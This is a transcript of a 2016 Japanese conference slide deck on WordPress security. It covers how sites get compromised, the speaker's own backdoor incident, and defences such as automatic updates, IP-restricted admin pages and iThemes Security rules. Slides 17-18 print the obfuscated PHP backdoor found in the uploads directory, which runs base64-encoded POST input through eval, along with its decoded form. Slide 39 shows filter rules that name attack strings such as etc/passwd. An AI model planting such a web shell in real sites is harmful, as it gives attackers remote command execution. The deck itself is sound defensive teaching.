wordbench yamaguchi at ube
TRANSCRIPT
WordPress のセキュリティ対策
YAMAMOTO [email protected]
@yamachan5593
Piwik Japan Team
Jan 30, 2016 at WordbenchYAMAGUCHI, Ube
自己紹介
■ OpenSolaris ユーザー会(最近サボり気味)□ https://osdn.jp/projects/jposug/
■ Piwikjapan 日本語パッチ作成/OSC 東京での発表□ https://osdn.jp/projects/piwik-fluentd/
■ 山口県出身、ここの窓から見えるとこに通うこと 8 年■ 趣味ロシア語
□ 今年はこの界隈ではあまりいい話はないと思います
2 of 44
自己紹介: ロシア語■ ロシアはウクライナの電力システムをとめたのか?1
□ クリスマスの前(12/23 のこと)ウクライナの 70 万人が電力を奪われました。
多くからロシアのハッカーの関与が指摘されています。これは恐ら
く新しいハッカー攻撃の幕開けとなるはずです。
1http://inosmi.ru/social/20160111/235008174.html (2016.01.11)3 of 44
自己紹介: WordPress■ WordPress とのかかわり
□ 最近 WordPress での納入が多いのでどうしてもね□ 奥さんの自営サイト□ 去年手ひどくバックドアを仕掛けられる、自営サイトでよかったよ
4 of 44
これから話す内容
■ 脆弱性はかく招かれるのか
■ 事例
■ 対策□ 自動アップデート□ 魔改造□ ID パスワードの管理/admin の管理□ セキュリティ対策プラグインの導入
5 of 44
脆弱性はかく招かれるのか
6 of 44
WordPress の脆弱性を招くきっかけ2
1. バージョンが古い
2. ID パスワード/admin の管理をしていない
3. いろいろまぜこぜにしているサーバー
4. Web に関する無知
5. 手抜き
2https://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/7 of 44
1-1. バージョンが古い “WordPress”
■ コアチームはパッチを速やかに出しているけど
■ アップデートしろっていうメールも来るけど
■ でも 3 つも 4 つも管理しているとやってられない。メンドクサイ
8 of 44
1-2. バージョンが古い “公式プラグイン/テーマ”
■ 速やかにアップデートしろって admin 画面にでるけど
■ 3 つも 4 つも管理しているとやってられない。メンドクサイ
9 of 44
1-3. バージョンの古い “非公式プラグイン/テーマ”
■ メンテナンスされていない野良プラグイン/テーマを使用■ 魔改造→これは厄介
□ どこかのプラグイン/テーマを魔改造して納品しよる□ 魔改造のもとになっているプラグイン/テーマがアップデートされてもパッチを当てられない
□ 魔改造業者のプログラミングレベルがまちまちテーマに SQL を仕込まれて(!)しかもプレースホルダ使っていないとか(SQL の組み立てが全部 concat)公開ディレクトリにアンケートフォームの結果を CSV で格納してみたり
10 of 44
2. ID パスワード/admin の管理をしていない
■ wp-admin(管理画面)が世界中から見えている■ 変更しないかぎり管理者 admin は誰でも知っている id となる
□ id を推測する手間が省ける□ 短いパスワードだと総当たり攻撃でばれる
11 of 44
3. いろいろまぜこぜにしているサーバー■ ひとつのサーバーに複数の WordPress を違うポリシーで運用
□ アップデートをサボっている WordPress を足場にして全体をやられる
バックドアを仕込まれて eval が実行可能になればなんでもあり□ あとで仕込まれたバックドア例を示します
12 of 44
4. Web に関する無知
■ アップデートの重要性がわからない
■ 納入業者が悲惨□ パーミッションを 777 にしたら動いたのでそのままで運用□ 実行権限とはなんなのかさえわかっていない場合も · · ·□ 魔改造とのコラボ
13 of 44
5. 手抜き
■ パッチをあてない
■ ログを見ていない□ 総当たりで id パスワードが漏れていてもわからない□ バックドアをしこまれていて妙に負荷が高くなっていてもわからない
■ upload ディレクトリから php 実行権限をはく奪していない(これを手抜きというのはちょっと厳しいかも)
(これは WordPress の欠陥という人もいる)
14 of 44
事例
15 of 44
何をされたのか
■ wp-admin(管理画面)が世界中から見えていた
■ 恐らく管理画面のパスワードをハックされ、バックドアプログラ
ムを wp-contents/upload ディレクトリにおかてしまった
■ バックドアから大量のスパムメール(数万通)が発信された
■ アップデートは自動でかけていた
■ WordPress では upload ディレクトリで php が実行できる□ .htaccess などで制限しない限り実行できてしまう□ upload ディレクトリがあるのは WordPress に限ったことではない
16 of 44
wp-contents/upload にバックドア■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
17 of 44
wp-contents/upload にバックドア■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
■ base64 でエンコードして nf76775 に POST してしまえばサーバ上でコマンド実行!
■ つまりこういうこと
<?php
if (isset($_POST[’nf76775’]))
eval(base64_decode($_POST[’nf76775’]));
■ 一カ所でもやれたら終わりです
18 of 44
実演
19 of 44
対策(自動アップデート)
20 of 44
アップデート(デフォルトの挙動)
■ WordPress 本体/テーマのアップデートはデフォルトで自動□ WordPress 本体はマイナーバージョンに限る(例: 4.2.x の “x”)□ ftp の設定が必要
■ プラグインは自動ではない
■ wp-config.php または add filter でデフォルトの挙動を変更できる■ この際プラグインも自動にしてしてしまいましょう
□ 管理サイトがいくつあっても OK□ 深夜にパッチが出ても OK□ パッチとともに脆弱性が公表されたらあっという間に攻撃が来ますよ
21 of 44
アップデート準備(wp-config.php)
■ WordPress 自身が FTP でアップデートできるように設定します■ 自動アップデートをするときは必須
define(’FTP_BASE’, ’/’); → chroot されていれば
define(’FTP_USER’, ’ftpusername’);
define(’FTP_PASS’, ’ftppassword’);
define(’FTP_HOST’, ’localhost’); → 自分自身(127.0.0.1)
■ 更に FTP は外部からアクセスさせないようにします
22 of 44
アップデート(wp-config.php)
■ メジャーアップデートしたければ wp-config.php にdefine( ’WP AUTO UPDATE CORE’, true );□ true - メジャーバージョン自動アップデート□ minor - マイナーバージョン自動アップデート(デフォルト)
■ テーマは自動アップデート
■ プラグインの自動アップデートは指示できない
■ つまりプラグインは警告のみでアップデートは手動
23 of 44
アップデート(add filter: その 1)■ add filter を設定すれば、プラグインの自動アップデートが可能
// 開発版を使用しているとき
add_filter(’allow_dev_auto_core_updates’, ’__return_true’ );
// マイナーバージョン(デフォルト true)
add_filter(’allow_minor_auto_core_updates’, ’__return_true’ );
// メジャーバージョン
add_filter(’allow_major_auto_core_updates’, ’__return_true’ );
// プラグイン
add_filter(’auto_update_plugin’, ’__return_true’ );
// テーマ(デフォルト true)
add_filter(’auto_update_theme’, ’__return_true’ );
■ add filter は、wp-config.php に加えられないので must-use プラグインへの設定が推奨される(次で説明します)
24 of 44
アップデート(add filter: その 2)■ must-use プラグイン3とはプラグインなんだけれども
□ いつも有効。admin とかユーザーが誤って無効することはできない□ wp-content/mu-plugins ディレクトリに入れるだけ□ 普通のプラグインより先、アルファベット順に PHP を読み込みつまり、他のプラグインが hook していてもその前にmust-use プラグインが hook してしまいます
□ ログインしなくても読み込まれる
3https://codex.wordpress.org/Must Use Plugins25 of 44
アップデート(add filter: その 3)
■ 結局どうすればいいのか - 以下のファイルを置きさえすればいい
■ デフォルトの自動アップデートにプラグインとメジャーアップデートを付加する設定
wordpress/wp-content/mu-plugins/00my_plugin.php
<?php
/*
Plugin Name: 00my_pingin
Plugin URI: http://selfnavi.com
Description: forcibly define add_filter(s).
Version: 0.1
Author: yamachan
Author URI: http://selfnavi.com
License: GPL
*/
add_filter(’auto_update_plugin’, ’__return_true’);
add_filter(’allow_major_auto_core_updates’, ’__return_true’);
26 of 44
対策(魔改造)
27 of 44
魔改造納入対策
■ 改造前にそもそも同機能のプラグインがないかよく探させること
■ どうしても機能が足りず魔改造を発注するときは□ セキュリティ上の問題は納入後も改変を行うよう契約する□ 既存の WordPress、プラグイン、テーマのアップデートができることを検証させる
下手につくられると魔改造のおかげで WordPress 自体のアップデートができなくなることがある
□ セキュリティ診断を行ったあと納入させる
■ なんかいい手はないものか · · ·
28 of 44
対策(ID パスワードの管理/admin の管理)
29 of 44
ID パスワードの管理/admin の管理: その 1■ プラグインで管理画面を見えにくくする(あとで紹介)
□ admin という ID を変更□ wp-login.php、wp-admin を見えなくする□ 総当たりに強いパスワード制限を付ける
30 of 44
ID パスワードの管理/admin の管理: その 2■ 管理画面を IP アドレスで制限する
□ 職場の IP アドレスのみ管理画面にアクセス可能とする□ 家とかモバイルだとグローバル IP が変わるので OpenVPN で閉域
IP 空間を作る
世田谷自宅Suttle DS437T
外DocomoE-mobileスーパーホテル
お名前.com自営 Wordpress
ConohaPiwikJapan
借りているGMO
OpenVPN10.X.4.Y
OpenVPN10.X.4.106
OpenVPN10.X.4.102
常時接続常時接続
31 of 44
ID パスワードの管理/admin の管理: その 3■ 車内/家限定の /etc/httpd/conf/httpd.conf 設定例
<Directory /export/website/example.com/wordpress/wp-admin>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Directory>
<Files wp-login.php>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Files>
32 of 44
対策(セキュリティ対策プラグインの導入)
33 of 44
操作履歴をとるプラグインの導入
■ 普段から不正な操作がないかどうかよく見ておきましょう■ 操作履歴をとるプラグインがいろいろあります■ キーワード audit でプラグインを探しましょう■ WP Event Ticketing(など)
□ 誰が、いつ、何をしたかが記録に残る
あなたはログインしました
あなたはログアウトしました
Simple historyプラグインが有効
Simple history プラグインがインストール
34 of 44
iThemes Security プラグイン4の導入: その 1■ iThemes Security で出来るセキュリティ対策
□ プラグインで可能なセキュリティ対策を危険度別に表示□ 管理画面を利用しない時間帯に管理画面をロックする機能□ サーバー上にあるファイルの変更を一日毎に検知□ ログイン画面のスラッグを変更してログイン画面を他者から隠す□ アップロードディレクトリ上での PHP実行を無効化できる□ ログイン試行回数を制限。設定回数を超えると管理画面をロック□ 不審なクエリー文字列をフィルターできる□ 拒否したいユーザー及び botの IPアドレスを指定して接続を拒否□ 総当たり攻撃から守るパスワードを強制□ XML-RPC サービスの停止□ (有料)マルウェアのスキャン
■ このほかにもたくさん機能があります
■ 太字をざっと説明します、バックドア対策に有効かと
4http://netaone.com/wp/ithemes-security/35 of 44
iThemes Security プラグインの導入: その 2
■ プラグインで可能なセキュリティ対策を危険度別に表示
Fix It
36 of 44
iThemes Security プラグインの導入: その 3■ サーバー上にあるファイルの変更を一日毎に検知
□ 正体不明のファイルが勝手にアップロードされている?□ 業者がコンテンツの修正をしたけど · · · どこを改変した?
~ 略 ~
~ 略 ~
対象ファイル
無視する拡張子
一日毎のファイル比較を有効にします
37 of 44
iThemes Security プラグインの導入: その 4■ アップロードディレしクトリ上での PHP実行を無効化できる
□ たとえバックドアプログラムを upload されても実行できません□ 最後の砦です管理画面の抑制、アップロードファイルのチェック、
XML-RPC の不可などと併用しましょう□ wordpress/.htaccess にルールを付け足してくれます
RewriteRule ^wp\-content/uploads/.*\.(?:php[1-6]?|pht|phtml?)$
- [NC,F]
38 of 44
iThemes Security プラグインの導入: その 5■ 不審なクエリー文字列をフィルターできる
□ git、hg ディレクトリが公開されていることはありませんか?□ wordpress/.htaccess にルールを付け足してくれます
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %QUERY_STRING \.\.\/ [NC,OR]
RewriteCond %QUERY_STRING ^.*\.(bash|git|hg|log|svn|swp|cvs) [NC,OR]
RewriteCond %QUERY_STRING etc/passwd [NC,OR]
RewriteCond %QUERY_STRING boot\.ini [NC,OR]
- 略 -
RewriteCond %QUERY_STRING (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %QUERY_STRING mosConfig_[a-zA-Z_]1,21(=|%3D) [NC,OR]
RewriteCond %QUERY_STRING base64_encode.*\(.*\) [NC,OR]
- 略 -
RewriteRule ^.* - [F]
</IfModule>
39 of 44
iThemes Security プラグインの導入: その 6■ XML-RPC サービスの停止
□ XML-RPC を使うと、高速簡単に総当たり攻撃できますパスワードがばれたらバックドアアップロード、記事の投稿、楽勝
です□ コメントスパムも減るかもしれません□ wordpress/.htaccess にルールを付け足してくれます
<files xmlrpc.php>
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Deny from all
</IfModule>
</files>
40 of 44
実演
41 of 44
まとめ
42 of 44
まとめ
■ WordPress アップデートは自動にしましょう
■ wp-admin を隠しましょう
■ 発注、納入するときは魔改造プラグインのチェックを行いましょう
■ セキュリティ対策プラグインを導入しましょう□ 操作履歴をとる□ ファイル更新履歴をとる□ バックアップをとる□ uploads ディレクトリで PHP を実行できないようにする□ XML-RPC サービスの制限をする
43 of 44
ご清聴ありがとうございました
44 of 44